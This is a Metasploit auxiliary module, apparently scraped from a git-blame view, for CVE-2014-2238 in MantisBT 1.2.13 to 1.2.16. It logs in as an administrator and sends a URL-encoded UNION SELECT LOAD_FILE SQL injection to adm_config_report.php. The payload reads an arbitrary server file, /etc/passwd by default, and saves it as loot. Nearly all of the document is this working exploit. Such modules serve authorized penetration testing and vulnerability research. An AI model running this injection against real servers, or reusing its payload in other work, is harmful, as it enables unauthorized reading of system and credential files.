2014-03-03 20:36:38 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2017-07-14 07:19:50 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
2014-03-03 20:36:38 +00:00
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2014-03-03 20:36:38 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "MantisBT Admin SQL Injection Arbitrary File Read",
|
|
|
|
'Description' => %q{
|
2014-03-03 20:40:58 +00:00
|
|
|
Versions 1.2.13 through 1.2.16 are vulnerable to a SQL injection attack if
|
|
|
|
an attacker can gain access to administrative credentials.
|
|
|
|
|
|
|
|
This vuln was fixed in 1.2.17.
|
2014-03-03 20:36:38 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Jakub Galczyk', #initial discovery
|
2014-03-04 23:51:24 +00:00
|
|
|
'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module
|
2014-03-03 20:36:38 +00:00
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2014-2238'],
|
|
|
|
['URL', 'http://www.mantisbt.org/bugs/view.php?id=17055']
|
|
|
|
],
|
|
|
|
'Platform' => ['win', 'linux'],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "Feb 28 2014"))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd']),
|
|
|
|
OptString.new('USERNAME', [ true, 'Single username', 'administrator']),
|
2014-03-04 19:55:30 +00:00
|
|
|
OptString.new('PASSWORD', [ true, 'Single password', 'root']),
|
2014-03-03 20:36:38 +00:00
|
|
|
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2014-03-03 20:36:38 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
post = {
|
|
|
|
'return' => 'index.php',
|
|
|
|
'username' => datastore['USERNAME'],
|
|
|
|
'password' => datastore['PASSWORD'],
|
|
|
|
'secure_session' => 'on'
|
|
|
|
}
|
|
|
|
|
|
|
|
resp = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/login.php'),
|
|
|
|
'method' => 'POST',
|
|
|
|
'vars_post' => post
|
|
|
|
})
|
|
|
|
|
2014-03-04 18:08:31 +00:00
|
|
|
if !resp or !resp.body
|
2015-04-16 19:08:33 +00:00
|
|
|
fail_with(Failure::UnexpectedReply, "Error in server response. Ensure the server IP is correct.")
|
2014-03-04 18:08:31 +00:00
|
|
|
end
|
|
|
|
|
2014-03-03 20:36:38 +00:00
|
|
|
cookie = resp.get_cookies
|
|
|
|
|
2014-03-04 18:08:31 +00:00
|
|
|
if cookie == ''
|
2015-04-16 19:08:33 +00:00
|
|
|
fail_with(Failure::NoAccess, "Authentication failed")
|
2014-03-04 18:08:31 +00:00
|
|
|
end
|
|
|
|
|
2014-03-03 20:36:38 +00:00
|
|
|
filepath = datastore['FILEPATH'].unpack("H*")[0]
|
|
|
|
|
2014-03-04 18:08:31 +00:00
|
|
|
payload = "save=1&filter_user_id=0&filter_project_id=0&filter_config_id=-7856%27"
|
|
|
|
payload << "+UNION+ALL+SELECT+11%2C11%2C11%2C11%2CCONCAT%280x71676a7571%2CIFNULL%28CAST%28HEX%28LOAD_FILE"
|
|
|
|
payload << "%280x#{filepath}%29%29+AS+CHAR%29%2C0x20%29%2C0x7169727071%29%2C11%23&apply_filter_button=Apply+Filter"
|
|
|
|
|
2014-03-03 20:36:38 +00:00
|
|
|
resp = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/adm_config_report.php'),
|
|
|
|
'method' => 'POST',
|
2014-03-04 18:08:31 +00:00
|
|
|
'data' => payload,
|
2014-03-03 20:36:38 +00:00
|
|
|
'cookie' => cookie,
|
|
|
|
})
|
|
|
|
|
2014-03-04 18:08:31 +00:00
|
|
|
if !resp or !resp.body
|
2015-04-16 19:08:33 +00:00
|
|
|
fail_with(Failure::UnexpectedReply, "Error in server response")
|
2014-03-04 18:08:31 +00:00
|
|
|
end
|
2014-03-03 20:36:38 +00:00
|
|
|
|
2015-04-03 11:12:23 +00:00
|
|
|
# qgjuq is prepended to the result of the sql injection
|
|
|
|
# qirpq is appended to the result of the sql injection
|
|
|
|
# This allows the use of a simple regex to grab the contents
|
|
|
|
# of the file easily from the page source.
|
2014-03-04 18:08:31 +00:00
|
|
|
file = /qgjuq(.*)qirpq/.match(resp.body)
|
|
|
|
|
|
|
|
file = file[0].gsub('qgjuq', '').gsub('qirpq', '')
|
|
|
|
file = [file].pack("H*")
|
2014-03-03 20:36:38 +00:00
|
|
|
|
|
|
|
path = store_loot("mantisbt.file", "text/plain", datastore['RHOST'], file, datastore['FILEPATH'])
|
2014-03-04 18:08:31 +00:00
|
|
|
|
|
|
|
if path and path != ''
|
|
|
|
print_good("File saved to: #{path}")
|
|
|
|
end
|
2014-03-03 20:36:38 +00:00
|
|
|
end
|
|
|
|
end
|